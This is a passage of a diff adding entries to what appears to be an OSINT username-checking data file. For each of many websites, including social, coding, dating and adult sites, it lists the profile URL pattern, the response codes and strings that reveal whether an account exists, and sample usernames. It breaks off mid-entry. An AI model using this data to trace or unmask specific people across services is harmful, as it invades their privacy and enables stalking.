+ "cat" : "political", + "valid" : true + }, + { + "name" : "AnimePlanet", + "uri_check" : "https://www.anime-planet.com/users/{account}", + "e_code" : 200, + "e_string" : "Joined", + "m_string" : "Meet new friends, make reviews and recommendations.", + "m_code" : 302, + "known" : ["zala", "lindapearl"], + "cat" : "social", + "valid" : true + }, + { + "name" : "aNobii", + "uri_check" : "https://www.anobii.com/{account}/profile/activity", + "e_code" : 200, + "e_string" : ">Anobian since", + "m_string" : "A user matching the specified criteria could not be found", + "m_code" : 200, + "known" : ["albertoricci", "trynyty01"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "anonup", + "uri_check" : "https://anonup.com/@{account}", + "e_code" : 200, + "e_string" : "Show followings", + "m_string" : "Page not found!", + "m_code" : 302, + "known" : ["john", "peter"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Apex Legends", + "uri_check" : "https://apex.tracker.gg/apex/profile/origin/{account}/overview", + "e_code" : 200, + "e_string" : "Overview", + "m_code" : 404, + "m_string" : "PLAYER NOT FOUND", + "known" : ["tttcheekyttt", "RollsRoyce_Dawn"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Appian", + "uri_check" : "https://community.appian.com/members/{account}", + "e_code" : 200, + "e_string" : "User Profile", + "m_string" : "Go back to our", + "m_code" : 301, + "known" : ["mikec", "varunkumarb0001"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "apteka", + "uri_check" : "https://apteka.ee/user/id/{account}", + "e_code" : 200, + "e_string" : "/gifts/user_id/", + "m_string" : "account-data-error", + "m_code" : 200, + "known" : ["lana", "oleg"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Archive Of Our Own Account", + "uri_check" : "https://archiveofourown.org/users/{account}", + "e_code" : 200, + "e_string" : ">Profile<", + "m_string" : ">redirected<", + "m_code" : 302, + "known" : ["test", "john"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Arduino", + "uri_check" : "https://create.arduino.cc/projecthub/{account}", + "e_code" : 200, + "e_string" : "- Arduino Project Hub", + "m_string" : "Arduino Project Hub", + "m_code" : 404, + "known" : ["peter", "john"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "ArmorGames", + "uri_check" : "https://armorgames.com/user/{account}", + "e_code" : 200, + "e_string" : "about", + "m_string" : "404: Oh Noes!", + "m_code" : 302, + "known" : ["john", "sammy"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "ArtBreeder", + "uri_check" : "https://www.artbreeder.com/{account}", + "e_code" : 200, + "e_string" : "", + "m_string" : "Not found:", + "m_code" : 404, + "known" : ["dolores", "cyborghyena"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Artists & Clients", + "uri_check" : "https://artistsnclients.com/people/{account}", + "e_code" : 200, + "e_string" : "Member Since", + "m_code" : 404, + "m_string" : "The page you requested wasn't there when we tried to get it for you. What a bother!", + "known" : ["luluc0", "MuraArts"], + "cat" : "art", + "valid" : true + }, + { + "name" : "ArtStation", + "uri_check" : "https://www.artstation.com/{account}", + "e_code" : 200, + "e_string" : "Portfolio", + "m_code" : 404, + "m_string" : "Page not found", + "known" : ["kongaxl_design", "alex_pi"], + "cat" : "art", + "valid" : true + }, + { + "name" : "asciinema", + "uri_check" : "https://asciinema.org/~{account}", + "e_code" : 200, + "e_string" : "s profile - asciinema", + "m_string" : "This page doesn't exist. Sorry!", + "m_code" : 404, + "known" : ["john", "red"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "ask.fm", + "uri_check" : "https://ask.fm/{account}", + "e_code" : 200, + "e_string" : "answers,", + "m_string" : "Well, apparently not anymore.", + "m_code" : 200, + "known" : ["test", "bob"], + "cat" : "social", + "valid" : true + }, + { + "name" : "au.ru", + "uri_check" : "https://au.ru/user/{account}/", + "e_code" : 200, + "e_string" : "Лоты пользователя ", + "m_string" : "Пользователь не найден", + "m_code" : 404, + "known" : ["Svetlana7", "nastya"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Audiojungle", + "uri_check" : "https://audiojungle.net/user/{account}", + "e_code" : 200, + "e_string" : "s profile on AudioJungle", + "m_string" : "404 - Nothing to see here", + "m_code" : 404, + "known" : ["john", "reds"], + "cat" : "music", + "valid" : true + }, + { + "name" : "authorSTREAM", + "uri_check" : "http://www.authorstream.com/{account}/", + "e_code" : 200, + "e_string" : "Presentations on authorSTREAM", + "m_string" : "", + "m_code" : 404, + "known" : ["test", "john"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Avid Community", + "uri_check" : "https://community.avid.com/members/{account}/default.aspx", + "e_code" : 200, + "e_string" : "My Activity", + "m_code" : 302, + "m_string" : "The user you requested cannot be found.", + "known" : ["Thayne", "Admin"], + "cat" : "music", + "valid" : true + }, + { + "name" : "babepedia", + "uri_check" : "https://www.babepedia.com/user/{account}", + "e_code" : 200, + "e_string" : "'s Page", + "m_string" : "Profile not found", + "m_code" : 404, + "known" : ["cherry", "betty"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "BabyPips", + "uri_check" : "https://forums.babypips.com/u/{account}.json", + "uri_pretty" : "https://forums.babypips.com/u/{account}/summary", + "e_code" : 200, + "e_string" : "user_badges", + "m_string" : "The requested URL or resource could not be found", + "m_code" : 404, + "known" : ["baemax023", "scottycarsonmvp"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Bandcamp", + "uri_check" : "https://bandcamp.com/{account}", + "e_code" : 200, + "e_string" : " collection | Bandcamp", + "m_string" : "

    Sorry, that something isn’t here.

    ", + "m_code" : 404, + "known" : ["alice", "bob"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Bandlab", + "uri_check" : "https://www.bandlab.com/api/v1.3/users/{account}", + "uri_pretty" : "https://www.bandlab.com/{account}", + "e_code" : 200, + "e_string" : "about", + "m_string" : "Couldn't find any matching element, it might be deleted", + "m_code" : 404, + "known" : ["rave_flawless", "delutaya"], + "cat" : "music", + "valid" : true + }, + { + "name" : "bblog_ru", + "uri_check" : "https://www.babyblog.ru/user/{account}", + "e_code" : 200, + "e_string" : "@", + "m_string" : "БэбиБлог - беременность, календарь беременности, дневники", + "m_code" : 301, + "known" : ["igor", "olga"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "BDSMLR", + "uri_check" : "https://{account}.bdsmlr.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "login", + "m_string" : "This blog doesn't exist.", + "m_code" : 200, + "known" : ["themunch", "shibari4all"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "bdsmsingles", + "uri_check" : "https://www.bdsmsingles.com/members/{account}/", + "e_code" : 200, + "e_string" : "Profile", + "m_string" : "BDSM Singles", + "m_code" : 302, + "known" : ["GoddessBlueDiamo", "aalama"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Behance", + "uri_check" : "https://www.behance.net/{account}", + "e_code" : 200, + "e_string" : "<title>Behance", + "m_string" : "Behance :: Oops! We can’t find that page.", + "m_code" : 404, + "known" : ["alice", "john"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Bentbox", + "uri_check" : "https://bentbox.co/{account}", + "e_code" : 200, + "e_string" : "
    ", + "m_string" : "This user is currently not available", + "m_code" : 200, + "known" : ["brockdoom", "witchhouse", "hotoptics"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "BiggerPockets", + "uri_check" : "https://www.biggerpockets.com/users/{account}", + "e_code" : 200, + "e_string" : "| BiggerPockets", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["trustgreene", "chasel9"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "BIGO Live", + "uri_check" : "https://www.bigo.tv/user/{account}", + "e_code" : 200, + "e_string" : "userInfo:{nickName", + "m_string" : "userInfo:{}", + "m_code" : 200, + "known" : ["treasdior", "Jacin19"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Bikemap", + "uri_check" : "https://www.bikemap.net/en/u/{account}/routes/created/", + "e_code" : 200, + "e_string" : "- 🚲 Bikemap", + "m_string" : "Page not found - Error 404 ", + "m_code" : 404, + "known" : ["mike", "greg"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Bimpos", + "uri_check" : "https://ask.bimpos.com/user/{account}", + "e_code" : 200, + "e_string" : "<title>User ", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["john", "db"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "biolink", + "uri_check" : "https://bio.link/{account}", + "e_code" : 200, + "e_string" : "profile:username", + "m_string" : "The page you’re looking for doesn’t exist", + "m_code" : 404, + "known" : ["adli_hm", "jake"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Bitbucket", + "uri_check" : "https://bitbucket.org/{account}/", + "e_code" : 200, + "e_string" : "Repositories", + "m_string" : "That link has no power here", + "m_code" : 404, + "known" : ["test", "WebBreacher"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Bitchute", + "uri_check" : "https://www.bitchute.com/channel/{account}/", + "e_code" : 200, + "e_string" : "subscribers", + "m_string" : "404 - Page not found", + "m_code" : 404, + "known" : ["simon_parkes", "americafloats", "daindor"], + "cat" : "political", + "valid" : true + }, + { + "name" : "bitcoin forum", + "uri_check" : "https://bitcoinforum.com/profile/{account}", + "e_code" : 200, + "e_string" : "Profile of", + "m_string" : "An Error Has Occurred!", + "m_code" : 200, + "known" : ["alex", "boss"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "bittube", + "uri_check" : "https://bittube.video/c/{account}/videos", + "e_code" : 200, + "e_string" : "- BitTube", + "m_string" : "

    We are sorry but it seems", + "m_code" : 404, + "known" : ["nmt0", "sashaponce"], + "cat" : "video", + "valid" : true + }, + { + "name" : "BLIP.fm", + "uri_check" : "https://blip.fm/{account}", + "e_code" : 200, + "e_string" : "recommended", + "m_string" : "", + "m_code" : 404, + "known" : ["john", "walnuts"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Blogger", + "uri_check" : "https://www.blogger.com/profile/{account}", + "e_code" : 200, + "e_string" : ">On Blogger since", + "m_string" : "Sorry, the blog you were looking for does not exist.", + "m_code" : 404, + "known" : ["07333944864481878697", "05941544278367416980"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "blogi.pl", + "uri_check" : "https://www.blogi.pl/osoba,{account}.html", + "e_code" : 200, + "e_string" : "Informacje ogólne", + "m_string" : "Niepoprawny adres.", + "m_code" : 200, + "known" : ["naukowa", "izkpaw"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "Blogmarks", + "uri_check" : "http://blogmarks.net/user/{account}", + "e_code" : 200, + "e_string" : "class=\"mark\"", + "m_string" : "", + "m_code" : 200, + "known" : ["test", "mike"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Blogspot", + "uri_check" : "http://{account}.blogspot.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "Blogger Template Style", + "m_string" : "Blog not found", + "m_code" : 404, + "known" : ["test"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "BodyBuilding.com", + "uri_check" : "http://api.bodybuilding.com/api-proxy/bbc/get?slug={account}", + "uri_pretty" : "http://bodyspace.bodybuilding.com/{account}/", + "e_code" : 200, + "e_string" : "username", + "m_string" : "data\" :\"\"", + "m_code" : 200, + "known" : ["mike"], + "cat" : "health", + "valid" : true + }, + { + "name" : "bonga_cams", + "uri_check" : "https://pt.bongacams.com/{account}", + "e_code" : 200, + "e_string" : "Chat público ao vivo de", + "m_string" : "Câmaras de sexo free: chat pornô ao vivo", + "m_code" : 404, + "known" : ["PrettyKatea", "milaowens"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Bookcrossing", + "uri_check" : "https://www.bookcrossing.com/mybookshelf/{account}", + "e_code" : 200, + "e_string" : "Recent Book Activity", + "m_string" : "Sorry, we were unable to locate the content that you requested.", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "boosty", + "uri_check" : "https://boosty.to/{account}", + "e_code" : 200, + "e_string" : "- exclusive content on Boosty", + "m_string" : "Blog not found", + "m_code" : 200, + "known" : ["evdokia", "lana"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Booth", + "uri_check" : "https://{account}.booth.pm/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "- BOOTH", + "m_string" : "BOOTH - The International Indie Art Marketplace", + "m_code" : 302, + "known" : ["monoliorder", "hasya"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Breach Forums", + "uri_check" : "https://breached.vc/User-{account}", + "e_code" : 200, + "e_string" : "Time Spent Online", + "m_code" : 404, + "m_string" : "The member you specified is either invalid or doesn't exist.", + "known" : ["dubudubw", "pompompurin"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Brickset", + "uri_check" : "https://forum.brickset.com/profile/{account}", + "e_code" : 200, + "e_string" : "Activity", + "m_string" : "User Not Found", + "m_code" : 404, + "known" : ["lowlead", "vwong19"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Bugcrowd", + "uri_check" : "https://bugcrowd.com/{account}", + "e_code" : 200, + "e_string" : "s researcher profile on Bugcrowd", + "m_string" : ">Bugcrowd | Error", + "m_code" : 404, + "known" : ["bitquark", "mert"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Bunpro", + "uri_check" : "https://community.bunpro.jp/u/{account}.json", + "e_code" : 200, + "e_string" : "username", + "m_code" : 404, + "m_string" : "The requested URL or resource could not be found.", + "known" : ["blacktide", "honey"], + "cat" : "social", + "valid" : true + }, + { + "name" : "buymeacoffee", + "uri_check" : "https://www.buymeacoffee.com/{account}", + "e_code" : 200, + "e_string" : "supporters", + "m_string" : "The page you’re looking for doesn’t exist.", + "m_code" : 404, + "known" : ["freebird", "robinwong"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "BuzzFeed", + "uri_check" : "https://www.buzzfeed.com/{account}", + "e_code" : 200, + "e_string" : "memberSince", + "m_string" : "We can't find the page you're looking for", + "m_code" : 404, + "known" : ["janelytvynenko", "RobertK"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Buzznet", + "uri_check" : "https://www.buzznet.com/author/{account}/", + "e_code" : 200, + "e_string" : "Author:", + "m_string" : "The page you are looking for can't be found.", + "m_code" : 404, + "known" : ["carolinegawlik"], + "cat" : "news", + "valid" : true + }, + { + "name" : "cafecito", + "uri_check" : "https://cafecito.app/{account}", + "e_code" : 200, + "e_string" : " | Cafecito", + "m_string" : "Es posible que el enlace que seleccionaste esté roto o que se haya eliminado la página", + "m_code" : 404, + "known" : ["braftty", "guillermo"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Calendy", + "uri_check" : "https://calendly.com/{account}", + "e_code" : 200, + "e_string" : "og:author", + "m_code" : 404, + "m_string" : "Sorry, but the page you were looking for could not be found.", + "known" : ["honey", "roger"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Cameo", + "uri_check" : "https://www.cameo.com/{account}", + "e_code" : 200, + "e_string" : "aggregateRating", + "m_string" : "", + "m_code" : 301, + "known" : ["ryansandes", "sarahall3"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Carbonmade", + "uri_check" : "https://{account}.carbonmade.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "s online portfolio", + "m_string" : "site not found", + "m_code" : 404, + "known" : ["jenny", "bob"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Career.habr", + "uri_check" : "https://career.habr.com/{account}", + "e_code" : 200, + "e_string" : "— Хабр Карьера", + "m_string" : "Ошибка 404", + "m_code" : 404, + "known" : ["alex", "bob"], + "cat" : "business", + "valid" : true + }, + { + "name" : "CaringBridge", + "uri_check" : "https://www.caringbridge.org/visit/{account}", + "e_code" : 200, + "e_string" : "| CaringBridge", + "m_string" : "Sorry, we can’t find that site", + "m_code" : 404, + "known" : ["robertherring"], + "cat" : "health", + "valid" : true + }, + { + "name" : "carrd.co", + "uri_check" : "https://{account}.carrd.co", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "( Made with Carrd )", + "m_code" : 404, + "m_string" : "Sorry, the requested page could not be found.", + "known" : ["liam", "peter"], + "cat" : "business", + "valid" : true + }, + { + "name" : "cash.app", + "uri_check" : "https://cash.app/${account}", + "e_code" : 200, + "e_string" : " on Cash App", + "m_string" : "The page you are looking for can't be found", + "m_code" : 404, + "known" : ["Jill", "john"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "CastingCallClub", + "uri_check" : "https://www.castingcall.club/{account}", + "e_code" : 200, + "e_string" : "| Casting Call Club", + "m_code" : 302, + "m_string" : "404: This is not the page you were looking for. In the future, our AI robot overlords will be able to better predict exactly what you were looking for.", + "known" : ["Lindz", "Danye"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "CD-Action", + "uri_check" : "https://cdaction.pl/uzytkownicy/{account}", + "e_code" : 200, + "e_string" : "Lista gier:", + "m_string" : "Coś się popsuło...", + "m_code" : 404, + "known" : ["saczuan", "cormac"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "cda.pl", + "uri_check" : "https://www.cda.pl/{account}", + "e_code" : 200, + "e_string" : "Foldery", + "m_string" : "Strona na którą chcesz wejść nie istnieje", + "m_code" : 200, + "known" : ["test2", "janek"], + "cat" : "video", + "valid" : true + }, + { + "name" : "championat", + "uri_check" : "https://www.championat.com/user/{account}/", + "e_code" : 200, + "e_string" : "Личный профил", + "m_string" : "Извините, запрашиваемая страница не найдена", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "news", + "valid" : true + }, + { + "name" : "Mastodon-Chaos.social", + "uri_check" : "https://chaos.social/@{account}", + "e_code" : 200, + "e_string" : "@chaos.social) - chaos.social", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["dictvm", "sml"], + "cat" : "social", + "valid" : true + }, + { + "name" : "chaturbate", + "uri_check" : "https://chaturbate.com/{account}/", + "e_code" : 200, + "e_string" : "'s Bio and Free Webcam", + "m_string" : "It's probably just a broken link", + "m_code" : 404, + "known" : ["pussylovekate", "kemii"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "cHEEZburger", + "uri_check" : "https://profile.cheezburger.com/{account}", + "e_code" : 200, + "e_string" : "profile-header", + "m_string" : "Home - ", + "m_code" : 302, + "known" : ["john"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Chamsko", + "uri_check" : "https://www.chamsko.pl/profil/{account}", + "e_code" : 200, + "e_string" : "W serwisie od", + "m_string" : "Strona nie istnieje.", + "m_code" : 404, + "known" : ["test", "janek"], + "cat" : "images", + "valid" : true + }, + { + "name" : "Chess.com", + "uri_check" : "https://www.chess.com/member/{account}", + "e_code" : 200, + "e_string" : "Last Online", + "m_string" : "<title>Missing Page?! - Chess.com", + "m_code" : 404, + "known" : ["john", "peter", "josh"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Chomikuj.pl", + "uri_check" : "https://chomikuj.pl/{account}/", + "e_code" : 200, + "e_string" : "Foldery", + "m_string" : "Chomik o takiej nazwie nie istnieje", + "m_code" : 404, + "known" : ["test", "test2"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Chyoa", + "uri_check" : "https://chyoa.com/user/{account}", + "e_code" : 200, + "e_string" : "When I'm not reading erotica I like to read", + "m_string" : "Sorry, I got distracted...", + "m_code" : 404, + "known" : ["joe", "carlos01"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Climatejustice.rocks (Mastodon Instance)", + "uri_check" : "https://climatejustice.rocks/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://climatejustice.rocks/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["paula", "ClimbitJustice"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Cloudflare", + "uri_check" : "https://community.cloudflare.com/u/{account}", + "e_code" : 200, + "e_string" : "- Cloudflare Community", + "m_string" : "Oops! That page doesn’t exist or is private.", + "m_code" : 404, + "known" : ["bob", "john"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Clubhouse", + "uri_check" : "https://www.clubhouse.com/@{account}", + "e_code" : 200, + "e_string" : ">followers

    ", + "m_string" : "t find what you were looking for", + "m_code" : 404, + "known" : ["kirbyplessas", "rohan"], + "cat" : "social", + "valid" : true + }, + { + "name" : "clusterdafrica", + "uri_check" : "https://clusterdafrica.com/@{account}", + "e_code" : 200, + "e_string" : "Membre depuis -", + "m_string" : "- Page non trouvée!", + "m_code" : 302, + "known" : ["mamadou", "konate"], + "cat" : "social", + "valid" : true + }, + { + "name" : "cnet", + "uri_check" : "https://www.cnet.com/profiles/{account}/", + "e_code" : 200, + "e_string" : "Member Since:", + "m_string" : "Page Not Found (404) - CNET", + "m_code" : 301, + "known" : ["john", "bob"], + "cat" : "news", + "valid" : true + }, + { + "name" : "Codeberg", + "uri_check" : "https://codeberg.org/{account}", + "e_code" : 200, + "e_string" : "ui avatar vm", + "m_code" : 404, + "m_string" : "The page you are trying to reach either", + "known" : ["dachary", "happy"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Codecademy", + "uri_check" : "https://discuss.codecademy.com/u/{account}/summary", + "e_code" : 200, + "e_string" : " Profile - ", + "m_string" : "Oops! That page doesn’t exist", + "m_code" : 404, + "known" : ["doctypeme", "jon_morris"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "codeforces", + "uri_check" : "https://codeforces.com/profile/{account}", + "e_code" : 200, + "e_string" : " - Codeforces", + "m_string" : "Codeforces", + "m_code" : 302, + "known" : ["Abdul01", "Abdullah"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "codementor", + "uri_check" : "https://www.codementor.io/@{account}", + "e_code" : 200, + "e_string" : "ABOUT ME", + "m_string" : "404/favicon.png", + "m_code" : 404, + "known" : ["e4c5", "juanelfers"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Code Project", + "uri_check" : "https://www.codeproject.com/Members/{account}", + "e_code" : 200, + "e_string" : "member since", + "m_string" : "Unable to load the requested member's information", + "m_code" : 200, + "known" : ["WmCraig", "Rick-York"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Codewars", + "uri_check" : "https://www.codewars.com/users/{account}", + "e_code" : 200, + "e_string" : "| Codewars", + "m_string" : "Whoops! The page you were looking for doesn't seem to exist.", + "m_code" : 404, + "known" : ["john", "reds"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Coderwall", + "uri_check" : "https://coderwall.com/{account}/", + "e_code" : 200, + "e_string" : "s profile |", + "m_string" : "404! Our feels when that url is used", + "m_code" : 404, + "known" : ["john", "test"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "cohost", + "uri_check" : "https://cohost.org/{account}", + "e_code" : 200, + "e_string" : "cohost! - @", + "m_string" : "Something went wrong", + "m_code" : 404, + "known" : ["vogon", "jkap"], + "cat" : "social", + "valid" : true + }, + { + "name" : "COLOURlovers", + "uri_check" : "https://www.colourlovers.com/lover/{account}", + "e_code" : 200, + "e_string" : "Color lovin' since", + "m_string" : "Lover has gone missing", + "m_code" : 410, + "known" : ["amorremanet", "bezzalopoly"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "contactos.sex", + "uri_check" : "https://www.contactossex.com/profile/{account}", + "e_code" : 200, + "e_string" : "Información Personal", + "m_string" : "Desde 2001 conectando gente!", + "m_code" : 302, + "known" : ["danijak", "darkfox"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "coroflot", + "uri_check" : "https://www.coroflot.com/{account}", + "e_code" : 200, + "e_string" : "portfolio", + "m_string" : "Looking for something?", + "m_code" : 404, + "known" : ["john", "blue"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Mastodon-counter.social", + "uri_check" : "https://counter.social/@{account}", + "e_code" : 200, + "e_string" : "@counter.social) - CounterSocial", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["ericconrad", "webbreacher"], + "cat" : "social", + "valid" : true + }, + { + "name" : "cowboys4angels", + "uri_check" : "https://cowboys4angels.com/cowboy/{account}/", + "e_code" : 200, + "e_string" : " | Cowboys 4 Angels |", + "m_string" : "Elite Male Escorts", + "m_code" : 301, + "known" : ["jaxjames", "mike"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "cracked_io", + "uri_check" : "https://cracked.io/{account}", + "e_code" : 200, + "e_string" : "Cracked.io - Profile of", + "m_string" : "The member you specified is either invalid or doesn't exist", + "m_code" : 404, + "known" : ["RealPsycho", "SamWinchester"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Cracked", + "uri_check" : "https://www.cracked.com/members/{account}", + "e_code" : 200, + "e_string" : "Member Since", + "m_string" : "", + "m_code" : 302, + "known" : ["mbattagl","Hatchback"], + "cat" : "social", + "valid" : true + }, + { + "name" : "crevado", + "uri_check" : "https://{account}.crevado.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "Portfolio", + "m_string" : "Site not found :-(", + "m_code" : 404, + "known" : ["john", "red"], + "cat" : "images", + "valid" : true + }, + { + "name" : "crowdin", + "uri_check" : "https://crowdin.com/profile/{account}", + "e_code" : 200, + "e_string" : ") – Crowdin", + "m_string" : "Page Not Found - Crowdin", + "m_code" : 404, + "known" : ["alex", "peter"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Cults3D", + "uri_check" : "https://cults3d.com/en/users/{account}/creations", + "e_code" : 200, + "e_string" : "All the 3D models of", + "m_string" : "Oh dear, this page is not working!", + "m_code" : 404, + "known" : ["Bstar3Dart", "john"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Curiouscat", + "uri_check" : "https://curiouscat.live/api/v2.1/profile?username={account}", + "uri_pretty" : "https://curiouscat.live/{account}", + "e_code" : 200, + "e_string" : "is_followed_by_me", + "m_code" : 200, + "m_string" : "\"error\": 404", + "known" : ["kindokja9158", "saki"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Cytoid", + "uri_check" : "https://cytoid.io/profile/{account}", + "e_code" : 200, + "e_string" : "Joined", + "m_code" : 404, + "m_string" : "Profile not found", + "known" : ["nyala", "speedymlg7"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Dailymotion", + "uri_check" : "https://www.dailymotion.com/{account}", + "e_code" : 200, + "e_string" : "og:url", + "m_string" : "404 Page not found", + "m_code" : 404, + "known" : ["WeHappyKids", "john"], + "cat" : "video", + "valid" : true + }, + { + "name" : "darudar", + "uri_check" : "https://darudar.org/users/{account}/", + "e_code" : 200, + "e_string" : ". Дарудар", + "m_string" : "404. Дару~дар: миру~мир!", + "m_code" : 404, + "known" : ["svetlana7", "igor"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "datezone", + "uri_check" : "https://www.datezone.com/users/{account}/", + "e_code" : 200, + "e_string" : "profile_status", + "m_string" : "Błąd wczytywania", + "m_code" : 200, + "known" : ["gpower550","tgoat2022"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "dateinasia", + "uri_check" : "https://www.dateinasia.com/{account}", + "e_code" : 200, + "e_string" : "About me", + "m_string" : "The page you are looking for does not exist", + "m_code" : 404, + "known" : ["Lars01", "janeferater"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "Dating.ru", + "uri_check" : "https://dating.ru/{account}/", + "e_code" : 200, + "e_string" : "| dating.ru", + "m_string" : "Такой страницы не существует.", + "m_code" : 404, + "known" : ["john", "blue"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "Mastodon-Defcon", + "uri_check" : "https://defcon.social/@{account}", + "e_code" : 200, + "e_string" : "- DEF CON Social", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["defcon", "buttersnatcher"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Demotywatory", + "uri_check" : "https://demotywatory.pl/user/{account}", + "e_code" : 200, + "e_string" : "Z nami od:", + "m_string" : "Użytkownik o podanym pseudonimie nie istnieje.", + "m_code" : 200, + "known" : ["test", "test2"], + "cat" : "images", + "valid" : true + }, + { + "name" : "depop", + "uri_check" : "https://www.depop.com/{account}/", + "e_code" : 200, + "e_string" : "s Shop - Depop", + "m_string" : "Sorry, that page doesn't exist", + "m_code" : 404, + "known" : ["sara", "susan"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Designspriation", + "uri_check" : "https://www.designspiration.com/{account}/", + "e_code" : 200, + "e_string" : "has discovered on Designspiration", + "m_string" : "Content Not Found", + "m_code" : 404, + "known" : ["sam", "smith"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Destructoid", + "uri_check" : "https://www.destructoid.com/?name={account}", + "e_code" : 200, + "e_string" : "Follow", + "m_string" : "Error in query", + "m_code" : 200, + "known" : ["john", "alice", "bob"], + "cat" : "social", + "valid" : true + }, + { + "name" : "DeviantArt", + "uri_check" : "https://www.deviantart.com/{account}", + "e_code" : 200, + "e_string" : " | DeviantArt", + "m_string" : "DeviantArt: 404", + "m_code" : 404, + "known" : ["rattybike", "john"], + "cat" : "images", + "valid" : true + }, + { + "name" : "dev.to", + "uri_check" : "https://dev.to/{account}", + "e_code" : 200, + "e_string" : "- DEV", + "m_string" : "This page does not exist", + "m_code" : 301, + "known" : ["john", "bob"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "devRant", + "uri_check" : "https://devrant.com/users/{account}", + "e_code" : 200, + "e_string" : "Joined devRant on", + "m_string" : "", + "m_code" : 302, + "known" : ["dfox", "trogus"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "dfgames", + "uri_check" : "https://www.dfgames.com.br/user/{account}", + "e_code" : 200, + "e_string" : "Reputa", + "m_string" : "404 Not Found", + "m_code" : 404, + "known" : ["carlos01", "eduardo"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Diablo", + "uri_check" : 